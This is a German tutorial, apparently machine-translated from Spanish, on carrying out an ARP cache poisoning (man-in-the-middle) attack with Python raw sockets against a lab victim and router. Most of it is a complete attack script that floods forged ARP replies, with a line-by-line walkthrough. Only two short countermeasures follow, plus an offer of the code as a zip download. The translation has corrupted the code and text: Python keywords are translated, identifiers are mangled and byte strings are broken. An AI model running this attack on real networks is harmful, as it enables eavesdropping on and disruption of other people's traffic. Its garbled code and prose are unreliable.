ARP-Poisoning-Angriff mit Raw-Sockets in Python

Inhaltsverzeichnis

Heute werde ich es dir beibringen So implementieren Sie einen ARP-Poisoning-Angriff (ARP-Cache-Poisoning). Dafür Ich werde Raw-Sockets in Python verwenden, das Ziel ist, zu sehen, wie diese Art von Sockets funktioniert, dass Sie lernen, wie dieser Angriff funktioniert, oder dass Sie Tests in Ihrem Netzwerk durchführen können (obwohl es im Netzwerk bereits Tools dafür gibt), nicht, dass Sie es für böswillige Zwecke verwenden Zwecke.

NotizMit scapy können Sie diese Arbeit schneller und einfacher umsetzen, aber wenn Sie sich dieses Tutorial ansehen, können Sie das Wissen nutzen, um die Bibliothek zu verwenden und es selbst zu tun, wenn wir es anders herum machen würden, würde es Sie mehr kosten. Die hier gezeigte Methode funktioniert nur auf Linux-Systemen.

Kleine Details, die Sie wissen sollten
ARPEs ist das Adressauflösungsprotokoll, das auf der Netzwerkschicht gefunden wird. Seine Aufgabe ist es, die MAC-Adresse (physikalische Adresse) zu finden, die einer bestimmten IP-Adresse (Netzwerkadresse) entspricht.
ARP-CachesJedes Gerät hat einen kleinen Speicher, in dem es die MAC-IP-Übersetzungen speichert. Dies werden wir bei diesem Angriff ausnutzen. Dieser Cache existiert, weil er den Aufwand vermeidet, jedes Mal, wenn wir eine Verbindung zu einem anderen Gerät herstellen, nach der Übersetzung zu fragen.

Das ARP-Protokollbetrieb Es ist ganz einfach, wenn Sie ein Paket an jemanden senden, wird der Gerätecache überprüft. Wenn diese Übersetzung vorhanden ist, wird das Paket benötigt, wenn kein ARP vorhanden ist, wird ein Broadcast-Paket gesendet (es ist etwas Besonderes, es hat die Ziel-MAC-Adresse ff: ff : ff: ff: ff: ff), dieses Paket erreicht alle Geräte im Netzwerk und "fragt", wer die gesuchte IP-Adresse hat das Paket, und nur das mit der Adresse Die gesuchte IP antwortet mit Angabe ihres MAC, in diesem Moment wird sie im Cache gespeichert, um in den nächsten Minuten nicht erneut nachfragen zu müssen.

Das ARP-Vergif.webptungsangriff Es wird verwendet, um die Daten auszuspionieren, die ein Netzwerk durchlaufen, oder wir können es auch verwenden, damit die Daten nicht die Ziele erreichen, an die sie gehen. Dieser Angriff besteht darin, ständig ARP-Pakete an das Netzwerk zu senden, die anzeigen, dass unser MAC der IP des Opfers entspricht und dass unser MAC mit der IP des Routers verknüpft ist. Wir müssen die Pakete ständig senden, da es sich um ein dynamisches Protokoll handelt, daher ändert sich der Cache, es kann sein, dass die Übersetzung gelöscht wird, sie wird mit den echten Daten aktualisiert. Um sicherzustellen, dass wir jedes Mal Pakete senden, sind sie es nicht sehr schwer, sodass sie das Netzwerk normalerweise nicht überlasten.

NotizARP ist ein Protokoll, das nur in IPv4 verwendet wird, daher ist dieser Angriff für IPv6 nicht gültig, aber der Poisoning-Angriff kann ausgeführt werden, indem man ein anderes Protokoll wie NDP ausnutzt, das verwendet wird, um "Nachbarn" in einem Netzwerk zu entdecken .

Um unser Beispiel zu starten, müssen wir die IP-Adressen des Opfers und des Gateways des Routers sowie dessen MAC kennen Um den Cache der Adresse 192.168.66.2 zu vergif.webpten, der mein Opfer (eine virtuelle Maschine) sein wird, führe ich Folgendes im cmd oder Terminal aus:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
Das -c und -n geben an, dass nur ein Paket gesendet werden soll, jedes Betriebssystem hat einen anderen Parameter. Später stellen wir:
 Harfe
Es zeigt den ARP-Cache an, daher können wir die Übersetzungen sehen, die wir gespeichert haben (und nachdem wir zuvor einen Ping durchgeführt haben, haben wir die Übersetzung bereits beim Opfer). Dasselbe müssen wir mit dem Gateway des Routers machen:

Als nächstes werde ich alle Daten bereitstellen, die wir zur Hand haben müssen:

  • Opfer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Mein PC -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Ich habe den kompletten Code eingefügt und unten erklärt, er funktioniert für Python in Version 2.x, aber mit kleinen Änderungen kann man ihn an Version 3.x anpassen:

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x080)) connection.bind(("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "code =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 " \ x02 "SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Poisoning Caches… to stop CTRL + C") während True: connection.send (arpRouter) connection.send (arpVictima ) Zeit.Schlaf (1)
Als erstes importieren wir die notwendigen Bibliotheken, die keiner weiteren Erläuterung bedürfen. Fahren wir mit den folgenden Zeilen fort:
 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x080)) connection.bind ("ens33", socket.htons (0x0800)))
Die erste Zeile erstellt einen Socket mit den folgenden Eigenschaften:
  • PF_PACKET: Zum Senden und Empfangen von Paketen auf niedriger Ebene.
  • SOCK_RAW: Um Raw-Sockets zu verwenden.
  • socket.htons (0x080): Das 0x0800 definiert das ETH_P_IP-Protokoll, die ntohs-Funktion konvertiert das Netzwerkformat in Bytes im entsprechenden Format für unseren Computer (s bedeutet kurz, d. h. 16 Bit, wenn es ein l hätte, wären es 32 Bit).

Und der zweite wird dafür verantwortlich sein, die Steckdose zum "Zuhören" zu bringen:

  • ens33: Es ist die Netzwerkschnittstelle, an der wir arbeiten werden, Ihre kann eth0 sein, wenn Sie eine ifconfig verwenden, sehen Sie sie (siehe Bild unten).
  • socket.htons (0x800): das gleiche wie gesagt.

Die Zeilen, die wir unten sehen, erstellen die Ethernet-Header, dafür legen wir die MACs und den Code fest (der von uns eingegebene gehört zum ARP-Protokoll), wenn Sie mehr über Ethernet erfahren möchten, klicken Sie hier:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" Code = "\ x08 \ x06" commonpackage = macSource + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Der nächste Teil des Codes stellt die ARP-Pakete zusammen. Um die Struktur einzusehen, können Sie den folgenden Link besuchen und zum Abschnitt Paketstruktur gehen. Der Operationscode \ x00 \ x02 soll anzeigen, dass es sich um ein Antwortpaket handelt (wenn es 1 wäre, wäre es eine Anfrage), und die Funktion socket.inet_aton() konvertiert eine IPv4-Adresse in ein 32-Bit-Binärformat. Wie Sie im vorherigen Code gesehen haben und jetzt ein Paket erstellen, verketten wir seine Teile.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + gemeinsamer Header + ipRouter + macVictima + ipVictima arpRouter = eth2 + gemeinsamer Header + ipVictima + macRouter + ipRouter
Der letzte Teil des Codes zeigt eine Nachricht an, um zu wissen, dass es funktioniert, und tritt in eine Endlosschleife ein, die Pakete sendet, um die Caches unseres Opfers und das Gateway des Routers zu vergif.webpten. Dies geschieht jede Sekunde, da wir schlafen.
 print ("Poisoning caches … to stop CTRL + C") während True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Mal sehen, wie die Ausführung des Programms aussieht (wir müssen Als Root-Benutzer ausführen):

Und wenn wir uns den Cache des Opfers ansehen, sehen wir, dass seine IP-Adresse jetzt mit dem MAC des Angreifers verknüpft ist:

Gegenmaßnahmen

  • Benutzen statische ARP-Tabellen, wir fügen die Einträge von Hand hinzu und lassen sie nicht variieren.
  • Konsultieren ARP umkehren, gibt dieses Protokoll die IP-Adresse von einem MAC zurück. Wenn es also mehr als eine IP-Adresse zurückgibt, ist es wahrscheinlich, dass wir gefälscht wurden.

Diese Maßnahmen erfordern ein Mindestmaß an Kenntnissen, sodass sie nicht von jedem durchgeführt werden können, aber in unseren IT-Sicherheitsfragen oder Tutorials finden Sie sicherlich Hilfe.

Falls du den Code möchtest, hier ist eine Zip:

Code herunterladen ArpPoisoning.zip 579 Byte 116 Downloads

Hat dir dieses Tutorial gefallen und geholfen?Sie können den Autor belohnen, indem Sie diesen Knopf drücken, um ihm einen positiven Punkt zu geben
wave wave wave wave wave